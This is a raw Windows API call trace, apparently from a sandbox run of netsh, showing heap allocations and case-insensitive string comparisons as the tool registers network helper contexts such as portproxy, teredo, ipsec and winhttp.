	[0237.669] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9ff0) returned 1
	[0237.927] RegisterContext () returned 0x0
	[0237.927] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51
	[0237.927] _wcsicmp (_String1="6to4", _String2="ipv6") returned -51
	[0237.927] _wcsicmp (_String1="6to4", _String2="ipv4") returned -51
	[0237.927] GetProcessHeap () returned 0x1fa72860000
	[0237.927] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa72892aa0
	[0237.927] GetProcessHeap () returned 0x1fa72860000
	[0237.927] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728afae0) returned 1
	[0237.985] RegisterContext () returned 0x0
	[0237.985] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0237.985] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3
	[0237.985] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3
	[0237.985] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0237.985] _wcsicmp (_String1="isatap", _String2="ipv4") returned 3
	[0237.985] _wcsicmp (_String1="isatap", _String2="ipv6") returned 3
	[0237.985] GetProcessHeap () returned 0x1fa72860000
	[0237.985] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1c0) returned 0x1fa728b49b0
	[0237.985] GetProcessHeap () returned 0x1fa72860000
	[0237.985] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892aa0) returned 1
	[0237.986] RegisterContext () returned 0x0
	[0237.986] _wcsicmp (_String1="teredo", _String2="6to4") returned 62
	[0237.986] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11
	[0237.986] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11
	[0237.986] _wcsicmp (_String1="teredo", _String2="isatap") returned 11
	[0237.986] _wcsicmp (_String1="teredo", _String2="6to4") returned 62
	[0237.986] _wcsicmp (_String1="teredo", _String2="ipv4") returned 11
	[0237.986] _wcsicmp (_String1="teredo", _String2="ipv6") returned 11
	[0237.986] _wcsicmp (_String1="teredo", _String2="isatap") returned 11
	[0237.986] GetProcessHeap () returned 0x1fa72860000
	[0237.986] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x230) returned 0x1fa728affe0
	[0237.986] GetProcessHeap () returned 0x1fa72860000
	[0237.986] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b49b0) returned 1
	[0237.986] RegisterContext () returned 0x0
	[0237.986] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0237.986] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4
	[0237.986] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0237.986] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0237.986] _wcsicmp (_String1="portproxy", _String2="teredo") returned -4
	[0237.986] GetProcessHeap () returned 0x1fa72860000
	[0237.986] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2a0) returned 0x1fa728b0220
	[0237.986] GetProcessHeap () returned 0x1fa72860000
	[0237.986] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728affe0) returned 1
	[0237.987] RegisterContext () returned 0x0
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9c70
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0237.987] RegisterContext () returned 0x0
	[0237.987] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0237.987] _wcsicmp (_String1="isatap", _String2="6to4") returned 51
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa728afae0
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9c70) returned 1
	[0237.987] RegisterContext () returned 0x0
	[0237.987] _wcsicmp (_String1="portproxy", _String2="6to4") returned 58
	[0237.987] _wcsicmp (_String1="portproxy", _String2="ipv4") returned 7
	[0237.987] _wcsicmp (_String1="portproxy", _String2="ipv6") returned 7
	[0237.987] _wcsicmp (_String1="portproxy", _String2="isatap") returned 7
	[0237.987] _wcsicmp (_String1="portproxy", _String2="portproxy") returned 0
	[0237.987] RegisterContext () returned 0x0
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="ipv6") returned -1
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="isatap") returned -1
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="portproxy") returned -8
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="teredo") returned -12
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="6to4") returned 50
	[0237.987] _wcsicmp (_String1="httpstunnel", _String2="ipv4") returned -1
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x310) returned 0x1fa728b5440
	[0237.987] GetProcessHeap () returned 0x1fa72860000
	[0237.987] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b0220) returned 1
	[0237.988] RegisterContext () returned 0x0
	[0237.988] _wcsicmp (_String1="tcp", _String2="6to4") returned 62
	[0237.988] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12
	[0237.988] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="isatap") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4
	[0237.988] _wcsicmp (_String1="tcp", _String2="teredo") returned -2
	[0237.988] _wcsicmp (_String1="tcp", _String2="6to4") returned 62
	[0237.988] _wcsicmp (_String1="tcp", _String2="httpstunnel") returned 12
	[0237.988] _wcsicmp (_String1="tcp", _String2="ipv4") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="ipv6") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="isatap") returned 11
	[0237.988] _wcsicmp (_String1="tcp", _String2="portproxy") returned 4
	[0237.988] _wcsicmp (_String1="tcp", _String2="teredo") returned -2
	[0237.988] GetProcessHeap () returned 0x1fa72860000
	[0237.988] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x380) returned 0x1fa728affe0
	[0237.988] GetProcessHeap () returned 0x1fa72860000
	[0237.988] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b5440) returned 1
	[0237.988] RegisterContext () returned 0x0
	[0238.056] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19
	[0238.056] _wcsicmp (_String1="trace", _String2="bridge") returned 18
	[0238.056] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16
	[0238.056] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16
	[0238.056] _wcsicmp (_String1="trace", _String2="firewall") returned 14
	[0238.056] _wcsicmp (_String1="trace", _String2="interface") returned 11
	[0238.056] _wcsicmp (_String1="trace", _String2="lan") returned 8
	[0238.056] _wcsicmp (_String1="trace", _String2="namespace") returned 6
	[0238.056] _wcsicmp (_String1="trace", _String2="netio") returned 6
	[0238.056] _wcsicmp (_String1="trace", _String2="ras") returned 2
	[0238.056] _wcsicmp (_String1="trace", _String2="advfirewall") returned 19
	[0238.056] _wcsicmp (_String1="trace", _String2="bridge") returned 18
	[0238.056] _wcsicmp (_String1="trace", _String2="dhcpclient") returned 16
	[0238.056] _wcsicmp (_String1="trace", _String2="dnsclient") returned 16
	[0238.056] _wcsicmp (_String1="trace", _String2="firewall") returned 14
	[0238.056] _wcsicmp (_String1="trace", _String2="interface") returned 11
	[0238.056] _wcsicmp (_String1="trace", _String2="lan") returned 8
	[0238.056] _wcsicmp (_String1="trace", _String2="namespace") returned 6
	[0238.056] _wcsicmp (_String1="trace", _String2="netio") returned 6
	[0238.056] _wcsicmp (_String1="trace", _String2="ras") returned 2
	[0238.056] GetProcessHeap () returned 0x1fa72860000
	[0238.056] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x4d0) returned 0x1fa728b5440
	[0238.057] GetProcessHeap () returned 0x1fa72860000
	[0238.057] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4fd0) returned 1
	[0238.074] RegisterContext () returned 0x0
	[0238.074] _wcsicmp (_String1="http", _String2="advfirewall") returned 7
	[0238.074] _wcsicmp (_String1="http", _String2="bridge") returned 6
	[0238.074] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4
	[0238.074] _wcsicmp (_String1="http", _String2="dnsclient") returned 4
	[0238.074] _wcsicmp (_String1="http", _String2="firewall") returned 2
	[0238.074] _wcsicmp (_String1="http", _String2="interface") returned -1
	[0238.074] _wcsicmp (_String1="http", _String2="lan") returned -4
	[0238.074] _wcsicmp (_String1="http", _String2="namespace") returned -6
	[0238.074] _wcsicmp (_String1="http", _String2="netio") returned -6
	[0238.074] _wcsicmp (_String1="http", _String2="ras") returned -10
	[0238.074] _wcsicmp (_String1="http", _String2="trace") returned -12
	[0238.074] _wcsicmp (_String1="http", _String2="advfirewall") returned 7
	[0238.074] _wcsicmp (_String1="http", _String2="bridge") returned 6
	[0238.075] _wcsicmp (_String1="http", _String2="dhcpclient") returned 4
	[0238.075] _wcsicmp (_String1="http", _String2="dnsclient") returned 4
	[0238.075] _wcsicmp (_String1="http", _String2="firewall") returned 2
	[0238.075] _wcsicmp (_String1="http", _String2="interface") returned -1
	[0238.075] GetProcessHeap () returned 0x1fa72860000
	[0238.075] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x540) returned 0x1fa728bce20
	[0238.077] GetProcessHeap () returned 0x1fa72860000
	[0238.077] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b5440) returned 1
	[0238.077] RegisterContext () returned 0x0
	[0238.077] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8
	[0238.077] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7
	[0238.077] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5
	[0238.077] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5
	[0238.077] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3
	[0238.077] _wcsicmp (_String1="ipsec", _String2="http") returned 1
	[0238.077] _wcsicmp (_String1="ipsec", _String2="interface") returned 2
	[0238.077] _wcsicmp (_String1="ipsec", _String2="lan") returned -3
	[0238.077] _wcsicmp (_String1="ipsec", _String2="namespace") returned -5
	[0238.077] _wcsicmp (_String1="ipsec", _String2="netio") returned -5
	[0238.077] _wcsicmp (_String1="ipsec", _String2="ras") returned -9
	[0238.077] _wcsicmp (_String1="ipsec", _String2="trace") returned -11
	[0238.077] _wcsicmp (_String1="ipsec", _String2="advfirewall") returned 8
	[0238.077] _wcsicmp (_String1="ipsec", _String2="bridge") returned 7
	[0238.077] _wcsicmp (_String1="ipsec", _String2="dhcpclient") returned 5
	[0238.078] _wcsicmp (_String1="ipsec", _String2="dnsclient") returned 5
	[0238.078] _wcsicmp (_String1="ipsec", _String2="firewall") returned 3
	[0238.078] _wcsicmp (_String1="ipsec", _String2="http") returned 1
	[0238.078] _wcsicmp (_String1="ipsec", _String2="interface") returned 2
	[0238.078] _wcsicmp (_String1="ipsec", _String2="lan") returned -3
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x5b0) returned 0x1fa728b4fd0
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bce20) returned 1
	[0238.078] RegisterContext () returned 0x0
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728aa0f0
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0238.078] RegisterContext () returned 0x0
	[0238.078] _wcsicmp (_String1="dynamic", _String2="static") returned -15
	[0238.078] _wcsicmp (_String1="dynamic", _String2="static") returned -15
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa72892aa0
	[0238.078] GetProcessHeap () returned 0x1fa72860000
	[0238.078] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aa0f0) returned 1
	[0238.078] RegisterContext () returned 0x0
	[0238.078] _wcsicmp (_String1="static", _String2="dynamic") returned 15
	[0238.078] _wcsicmp (_String1="static", _String2="static") returned 0
	[0238.079] RegisterContext () returned 0x0
	[0238.079] _wcsicmp (_String1="dynamic", _String2="dynamic") returned 0
	[0238.079] RegisterContext () returned 0x0
	[0238.238] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22
	[0238.238] _wcsicmp (_String1="wfp", _String2="bridge") returned 21
	[0238.238] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19
	[0238.238] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19
	[0238.238] _wcsicmp (_String1="wfp", _String2="firewall") returned 17
	[0238.238] _wcsicmp (_String1="wfp", _String2="http") returned 15
	[0238.238] _wcsicmp (_String1="wfp", _String2="interface") returned 14
	[0238.238] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14
	[0238.238] _wcsicmp (_String1="wfp", _String2="lan") returned 11
	[0238.238] _wcsicmp (_String1="wfp", _String2="namespace") returned 9
	[0238.238] _wcsicmp (_String1="wfp", _String2="netio") returned 9
	[0238.238] _wcsicmp (_String1="wfp", _String2="ras") returned 5
	[0238.238] _wcsicmp (_String1="wfp", _String2="trace") returned 3
	[0238.238] _wcsicmp (_String1="wfp", _String2="advfirewall") returned 22
	[0238.238] _wcsicmp (_String1="wfp", _String2="bridge") returned 21
	[0238.238] _wcsicmp (_String1="wfp", _String2="dhcpclient") returned 19
	[0238.238] _wcsicmp (_String1="wfp", _String2="dnsclient") returned 19
	[0238.238] _wcsicmp (_String1="wfp", _String2="firewall") returned 17
	[0238.239] _wcsicmp (_String1="wfp", _String2="http") returned 15
	[0238.239] _wcsicmp (_String1="wfp", _String2="interface") returned 14
	[0238.239] _wcsicmp (_String1="wfp", _String2="ipsec") returned 14
	[0238.239] _wcsicmp (_String1="wfp", _String2="lan") returned 11
	[0238.239] _wcsicmp (_String1="wfp", _String2="namespace") returned 9
	[0238.239] _wcsicmp (_String1="wfp", _String2="netio") returned 9
	[0238.239] _wcsicmp (_String1="wfp", _String2="ras") returned 5
	[0238.239] _wcsicmp (_String1="wfp", _String2="trace") returned 3
	[0238.239] GetProcessHeap () returned 0x1fa72860000
	[0238.239] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x620) returned 0x1fa728bce20
	[0238.239] GetProcessHeap () returned 0x1fa72860000
	[0238.239] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4fd0) returned 1
	[0238.266] RegisterContext () returned 0x0
	[0238.266] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15
	[0238.266] _wcsicmp (_String1="p2p", _String2="bridge") returned 14
	[0238.266] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12
	[0238.266] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12
	[0238.266] _wcsicmp (_String1="p2p", _String2="firewall") returned 10
	[0238.266] _wcsicmp (_String1="p2p", _String2="http") returned 8
	[0238.266] _wcsicmp (_String1="p2p", _String2="interface") returned 7
	[0238.266] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7
	[0238.266] _wcsicmp (_String1="p2p", _String2="lan") returned 4
	[0238.266] _wcsicmp (_String1="p2p", _String2="namespace") returned 2
	[0238.266] _wcsicmp (_String1="p2p", _String2="netio") returned 2
	[0238.266] _wcsicmp (_String1="p2p", _String2="ras") returned -2
	[0238.266] _wcsicmp (_String1="p2p", _String2="trace") returned -4
	[0238.266] _wcsicmp (_String1="p2p", _String2="wfp") returned -7
	[0238.266] _wcsicmp (_String1="p2p", _String2="advfirewall") returned 15
	[0238.266] _wcsicmp (_String1="p2p", _String2="bridge") returned 14
	[0238.266] _wcsicmp (_String1="p2p", _String2="dhcpclient") returned 12
	[0238.266] _wcsicmp (_String1="p2p", _String2="dnsclient") returned 12
	[0238.266] _wcsicmp (_String1="p2p", _String2="firewall") returned 10
	[0238.266] _wcsicmp (_String1="p2p", _String2="http") returned 8
	[0238.267] _wcsicmp (_String1="p2p", _String2="interface") returned 7
	[0238.267] _wcsicmp (_String1="p2p", _String2="ipsec") returned 7
	[0238.267] _wcsicmp (_String1="p2p", _String2="lan") returned 4
	[0238.267] _wcsicmp (_String1="p2p", _String2="namespace") returned 2
	[0238.267] _wcsicmp (_String1="p2p", _String2="netio") returned 2
	[0238.267] _wcsicmp (_String1="p2p", _String2="ras") returned -2
	[0238.267] GetProcessHeap () returned 0x1fa72860000
	[0238.267] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x690) returned 0x1fa728bf460
	[0238.267] GetProcessHeap () returned 0x1fa72860000
	[0238.267] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bce20) returned 1
	[0238.267] RegisterContext () returned 0x0
	[0238.267] GetProcessHeap () returned 0x1fa72860000
	[0238.267] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9a70
	[0238.267] GetProcessHeap () returned 0x1fa72860000
	[0238.267] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0238.585] RegisterContext () returned 0x0
	[0238.585] _wcsicmp (_String1="group", _String2="pnrp") returned -9
	[0238.585] _wcsicmp (_String1="group", _String2="pnrp") returned -9
	[0238.585] GetProcessHeap () returned 0x1fa72860000
	[0238.585] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa728b53d0
	[0238.585] GetProcessHeap () returned 0x1fa72860000
	[0238.585] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9a70) returned 1
	[0238.701] RegisterContext () returned 0x0
	[0238.701] _wcsicmp (_String1="idmgr", _String2="group") returned 2
	[0238.701] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7
	[0238.701] _wcsicmp (_String1="idmgr", _String2="group") returned 2
	[0238.701] _wcsicmp (_String1="idmgr", _String2="pnrp") returned -7
	[0238.701] GetProcessHeap () returned 0x1fa72860000
	[0238.701] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa728b0370
	[0238.701] GetProcessHeap () returned 0x1fa72860000
	[0238.701] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b53d0) returned 1
	[0238.701] RegisterContext () returned 0x0
	[0238.702] GetProcessHeap () returned 0x1fa72860000
	[0238.702] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728aa570
	[0238.702] GetProcessHeap () returned 0x1fa72860000
	[0238.702] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0238.702] RegisterContext () returned 0x0
	[0238.702] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1
	[0238.702] _wcsicmp (_String1="diagnostics", _String2="cloud") returned 1
	[0238.702] GetProcessHeap () returned 0x1fa72860000
	[0238.702] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa728b53d0
	[0238.702] GetProcessHeap () returned 0x1fa72860000
	[0238.702] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aa570) returned 1
	[0238.702] RegisterContext () returned 0x0
	[0238.702] _wcsicmp (_String1="peer", _String2="cloud") returned 13
	[0238.702] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12
	[0238.702] _wcsicmp (_String1="peer", _String2="cloud") returned 13
	[0238.702] _wcsicmp (_String1="peer", _String2="diagnostics") returned 12
	[0238.702] GetProcessHeap () returned 0x1fa72860000
	[0238.702] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa728b49b0
	[0238.703] GetProcessHeap () returned 0x1fa72860000
	[0238.703] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b53d0) returned 1
	[0238.703] RegisterContext () returned 0x0
	[0238.703] GetProcessHeap () returned 0x1fa72860000
	[0238.703] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728aa7f0
	[0238.703] GetProcessHeap () returned 0x1fa72860000
	[0238.703] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0238.703] RegisterContext () returned 0x0
	[0238.703] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17
	[0238.703] _wcsicmp (_String1="rpc", _String2="bridge") returned 16
	[0238.703] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14
	[0238.703] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14
	[0238.703] _wcsicmp (_String1="rpc", _String2="firewall") returned 12
	[0238.703] _wcsicmp (_String1="rpc", _String2="http") returned 10
	[0238.703] _wcsicmp (_String1="rpc", _String2="interface") returned 9
	[0238.703] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9
	[0238.703] _wcsicmp (_String1="rpc", _String2="lan") returned 6
	[0238.703] _wcsicmp (_String1="rpc", _String2="namespace") returned 4
	[0238.703] _wcsicmp (_String1="rpc", _String2="netio") returned 4
	[0238.703] _wcsicmp (_String1="rpc", _String2="p2p") returned 2
	[0238.703] _wcsicmp (_String1="rpc", _String2="ras") returned 15
	[0238.703] _wcsicmp (_String1="rpc", _String2="trace") returned -2
	[0238.703] _wcsicmp (_String1="rpc", _String2="wfp") returned -5
	[0238.703] _wcsicmp (_String1="rpc", _String2="advfirewall") returned 17
	[0238.703] _wcsicmp (_String1="rpc", _String2="bridge") returned 16
	[0238.703] _wcsicmp (_String1="rpc", _String2="dhcpclient") returned 14
	[0238.703] _wcsicmp (_String1="rpc", _String2="dnsclient") returned 14
	[0238.703] _wcsicmp (_String1="rpc", _String2="firewall") returned 12
	[0238.703] _wcsicmp (_String1="rpc", _String2="http") returned 10
	[0238.703] _wcsicmp (_String1="rpc", _String2="interface") returned 9
	[0238.703] _wcsicmp (_String1="rpc", _String2="ipsec") returned 9
	[0238.704] _wcsicmp (_String1="rpc", _String2="lan") returned 6
	[0238.704] _wcsicmp (_String1="rpc", _String2="namespace") returned 4
	[0238.704] _wcsicmp (_String1="rpc", _String2="netio") returned 4
	[0238.704] _wcsicmp (_String1="rpc", _String2="p2p") returned 2
	[0238.704] _wcsicmp (_String1="rpc", _String2="ras") returned 15
	[0238.704] _wcsicmp (_String1="rpc", _String2="trace") returned -2
	[0238.704] GetProcessHeap () returned 0x1fa72860000
	[0238.704] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x700) returned 0x1fa728bfb00
	[0238.704] GetProcessHeap () returned 0x1fa72860000
	[0238.704] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bf460) returned 1
	[0238.704] RegisterContext () returned 0x0
	[0238.704] GetProcessHeap () returned 0x1fa72860000
	[0238.704] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9ff0
	[0238.704] GetProcessHeap () returned 0x1fa72860000
	[0238.704] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0238.704] RegisterContext () returned 0x0
	[0238.704] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22
	[0238.704] _wcsicmp (_String1="wcn", _String2="bridge") returned 21
	[0238.704] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19
	[0238.704] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19
	[0238.704] _wcsicmp (_String1="wcn", _String2="firewall") returned 17
	[0238.704] _wcsicmp (_String1="wcn", _String2="http") returned 15
	[0238.704] _wcsicmp (_String1="wcn", _String2="interface") returned 14
	[0238.704] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14
	[0238.704] _wcsicmp (_String1="wcn", _String2="lan") returned 11
	[0238.704] _wcsicmp (_String1="wcn", _String2="namespace") returned 9
	[0238.704] _wcsicmp (_String1="wcn", _String2="netio") returned 9
	[0238.704] _wcsicmp (_String1="wcn", _String2="p2p") returned 7
	[0238.704] _wcsicmp (_String1="wcn", _String2="ras") returned 5
	[0238.704] _wcsicmp (_String1="wcn", _String2="rpc") returned 5
	[0238.704] _wcsicmp (_String1="wcn", _String2="trace") returned 3
	[0238.705] _wcsicmp (_String1="wcn", _String2="wfp") returned -3
	[0238.705] _wcsicmp (_String1="wcn", _String2="advfirewall") returned 22
	[0238.705] _wcsicmp (_String1="wcn", _String2="bridge") returned 21
	[0238.705] _wcsicmp (_String1="wcn", _String2="dhcpclient") returned 19
	[0238.705] _wcsicmp (_String1="wcn", _String2="dnsclient") returned 19
	[0238.705] _wcsicmp (_String1="wcn", _String2="firewall") returned 17
	[0238.705] _wcsicmp (_String1="wcn", _String2="http") returned 15
	[0238.705] _wcsicmp (_String1="wcn", _String2="interface") returned 14
	[0238.705] _wcsicmp (_String1="wcn", _String2="ipsec") returned 14
	[0238.705] _wcsicmp (_String1="wcn", _String2="lan") returned 11
	[0238.705] _wcsicmp (_String1="wcn", _String2="namespace") returned 9
	[0238.705] _wcsicmp (_String1="wcn", _String2="netio") returned 9
	[0238.705] _wcsicmp (_String1="wcn", _String2="p2p") returned 7
	[0238.705] _wcsicmp (_String1="wcn", _String2="ras") returned 5
	[0238.705] _wcsicmp (_String1="wcn", _String2="rpc") returned 5
	[0238.705] _wcsicmp (_String1="wcn", _String2="trace") returned 3
	[0238.705] _wcsicmp (_String1="wcn", _String2="wfp") returned -3
	[0238.705] GetProcessHeap () returned 0x1fa72860000
	[0238.705] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x770) returned 0x1fa728c0210
	[0238.705] GetProcessHeap () returned 0x1fa72860000
	[0238.705] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bfb00) returned 1
	[0238.705] RegisterContext () returned 0x0
	[0238.705] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22
	[0238.705] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21
	[0238.705] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19
	[0238.705] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19
	[0238.705] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17
	[0238.705] _wcsicmp (_String1="winhttp", _String2="http") returned 15
	[0238.705] _wcsicmp (_String1="winhttp", _String2="interface") returned 14
	[0238.705] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14
	[0238.705] _wcsicmp (_String1="winhttp", _String2="lan") returned 11
	[0238.706] _wcsicmp (_String1="winhttp", _String2="namespace") returned 9
	[0238.706] _wcsicmp (_String1="winhttp", _String2="netio") returned 9
	[0238.706] _wcsicmp (_String1="winhttp", _String2="p2p") returned 7
	[0238.706] _wcsicmp (_String1="winhttp", _String2="ras") returned 5
	[0238.706] _wcsicmp (_String1="winhttp", _String2="rpc") returned 5
	[0238.706] _wcsicmp (_String1="winhttp", _String2="trace") returned 3
	[0238.706] _wcsicmp (_String1="winhttp", _String2="wcn") returned 6
	[0238.706] _wcsicmp (_String1="winhttp", _String2="wfp") returned 3
	[0238.706] _wcsicmp (_String1="winhttp", _String2="advfirewall") returned 22
	[0238.706] _wcsicmp (_String1="winhttp", _String2="bridge") returned 21
	[0238.706] _wcsicmp (_String1="winhttp", _String2="dhcpclient") returned 19
	[0238.706] _wcsicmp (_String1="winhttp", _String2="dnsclient") returned 19
	[0238.706] _wcsicmp (_String1="winhttp", _String2="firewall") returned 17
	[0238.706] _wcsicmp (_String1="winhttp", _String2="http") returned 15
	[0238.706] _wcsicmp (_String1="winhttp", _String2="interface") returned 14
	[0238.706] _wcsicmp (_String1="winhttp", _String2="ipsec") returned 14
	[0238.706] _wcsicmp (_String1="winhttp", _String2="lan") returned 11
